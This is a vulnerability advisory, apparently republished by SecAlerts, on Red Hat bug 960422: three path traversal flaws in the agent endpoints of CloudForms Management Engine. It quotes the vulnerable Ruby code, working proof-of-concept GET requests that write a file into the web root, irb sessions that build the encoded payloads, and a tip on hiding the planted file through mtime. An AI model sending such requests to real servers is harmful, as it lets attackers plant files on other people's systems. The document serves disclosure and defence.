REDHAT-BUG-960422: Path Traversal

Published May 7, 2013
·
Updated

Ramon de C Valle (rcvalle) reports:

Multiple path traversal exist within the

1) log method of AgentController controller of CFME. The log method can be accessed directly at http://host/agent/log.

The log method deletes (if the file exists) and creates a file using the user-controlled filename parameter without sanitizing it. The contents of the file are subsequently written as the user-controlled data parameter as ZIP encoded data.

In vmdb/app/controllers/agentcontroller.rb:56:

data = MIQEncode.decode(params["data"]) file = File.join(proxy.logdir, params["filename"]) options = params["options"] $log.info "MIQ(agent-log): [#{options.inspect}]" unless params["options"].nil?

File.delete(file) if File.exists?(file) $log.info "MIQ(agent-log): Create file: #{file}" File.open(file, "wb") {|f| f.write(data)}

This vulnerability can be exploited by sending a specially crafted request containing a valid host guid that has at least one associated proxy. For instance, the following GET request creates the file pwned.txt containing the word 'pwned' at the /var/www/miq/vmdb/public/ directory.

https://host/agent/log?&id=8dfc29fe-a118-11e2-805c-005056920a2c&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJwrKM9LTQEABokCHw==

Where id is a valid host guid that has at least one associated proxy, and data is encoded as follows:

[rcvalle@ThinkPad ~]$ irb irb(main):001:0> require 'zlib' => true irb(main):002:0> [Zlib::Deflate.deflate('pwned')].pack('m') => "eJwrKM9LTQEABokCHw==\n" irb(main):003:0>

Additionaly, the file modification time can also be specified with the user-supplied mtime parameter which is set by the log method after the file is created. This could be used for hiding the file from searches for newly created files.

2) upload method of AgentController controller of CFME. The upload method can be accessed directly at http://host/agent/upload.

The upload method deletes (if the file exists) and creates a file using the user-controlled filename parameter without sanitizing it. The contents of the file are subsequently written as the user-controlled data parameter as ZIP encoded data.

In vmdb/app/controllers/agentcontroller.rb:102:

file = File.join(mediadir, params["filename"]) md5 = Digest::MD5.hexdigest(data).tos raise "upoload of file #{file} failed, md5 mismatch, expected #{params["md5"]}, got #{md5}" if params["md5"] != md5

$log.info "MIQ(agent-upload): Saving agent file: #{file}" File.delete(file) if File.exists?(file) $log.info "MIQ(agent-upload): Create file: #{file}" File.open(file, "wb") {|f| f.write(data); f.close}

This vulnerability can be exploited by sending a specially crafted request containing a valid platform in the first 4 bytes of the data parameter, the MD5 checksum of the data parameter, and any numeric value as the agent version. For instance, the following GET request creates the file pwned.txt containing the word 'pwned' at the /var/www/miq/vmdb/public/ directory.

https://host/agent/upload?&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJyrd/VxKyjPS00BABDkA3U=&md5=b131830a18266f83111d9149adb6451d&version=1

Where data is encoded as follows:

[rcvalle@ThinkPad ~]$ irb irb(main):001:0> require 'zlib' => true irb(main):002:0> [Zlib::Deflate.deflate("\x7f\x45\x4c\x46pwned")].pack('m') => "eJyrd/VxKyjPS00BABDkA3U=\n"

And md5 as follows:

irb(main):003:0> require 'digest/md5' => true irb(main):004:0> Digest::MD5.hexdigest("\x7f\x45\x4c\x46pwned") => "b131830a18266f83111d9149adb6451d"

3) linuxpkgs method of AgentController controller of CFME. The log method can be accessed directly at http://host/agent/linuxpkgs.

The linuxpkgs method deletes (if the file exists) and creates a file using the user-controlled filename parameter without sanitizing it. The contents of the file are subsequently written as the user-controlled data parameter as ZIP encoded data.

In vmdb/app/controllers/agentcontroller.rb:119:

filename = params["filename"] datadir = File.join(File.expandpath(Rails.root), "data", "applications") Dir.mkdir datadir unless File.exists?(datadir)

file = File.join(datadir, filename) data = MIQEncode.decode(params["data"]) md5 = Digest::MD5.hexdigest(data).tos

raise "upoload of file #{file} failed, md5 mismatch, expected #{params["md5"]}, got #{md5}" if params["md5"] != md5

File.delete(file) if File.exists?(file) $log.info "MIQ(agent-upload): Create file: #{file}" File.open(file, "wb") {|f| f.write(data); f.close}

This vulnerability can be exploited by sending a specially crafted request containing the MD5 checksum of the data parameter. For instance, the following GET request creates the file pwned.txt containing the word 'pwned' at the /var/www/miq/vmdb/public/ directory.

https://host/agent/linuxpkgs?&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJwrKM9LTQEABokCHw==&md5=5e93de3efa544e85dcd6311732d28f95

Where data is encoded as follows:

[rcvalle@ThinkPad ~]$ irb irb(main):001:0> require 'zlib' => true irb(main):002:0> [Zlib::Deflate.deflate('pwned')].pack('m') => "eJwrKM9LTQEABokCHw==\n"

And md5 as follows:

irb(main):003:0> require 'digest/md5' => true irb(main):004:0> Digest::MD5.hexdigest('pwned') => "5e93de3efa544e85dcd6311732d28f95"

Affected Software

1 affected component
Red Hat CloudForms Management Engine

Event History

May 7, 2013
Data Sourced
via Red Hat·07:58 AM
DescriptionSeverityAffected Software

Frequently Asked Questions

1

What is the severity of REDHAT-BUG-960422?

The severity of REDHAT-BUG-960422 is considered to be high due to the potential for unauthorized access to sensitive files.

2

How do I fix REDHAT-BUG-960422?

To fix REDHAT-BUG-960422, implement latest patches and restrict access to the log method of the AgentController.

3

What systems are affected by REDHAT-BUG-960422?

REDHAT-BUG-960422 affects the Red Hat CloudForms Management Engine, specifically version 3.0.4.

4

What type of vulnerability is REDHAT-BUG-960422?

REDHAT-BUG-960422 is a path traversal vulnerability that can be exploited to access files outside the intended directory.

5

Are there any known exploits for REDHAT-BUG-960422?

Yes, there are known exploits that demonstrate the path traversal attack associated with REDHAT-BUG-960422.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203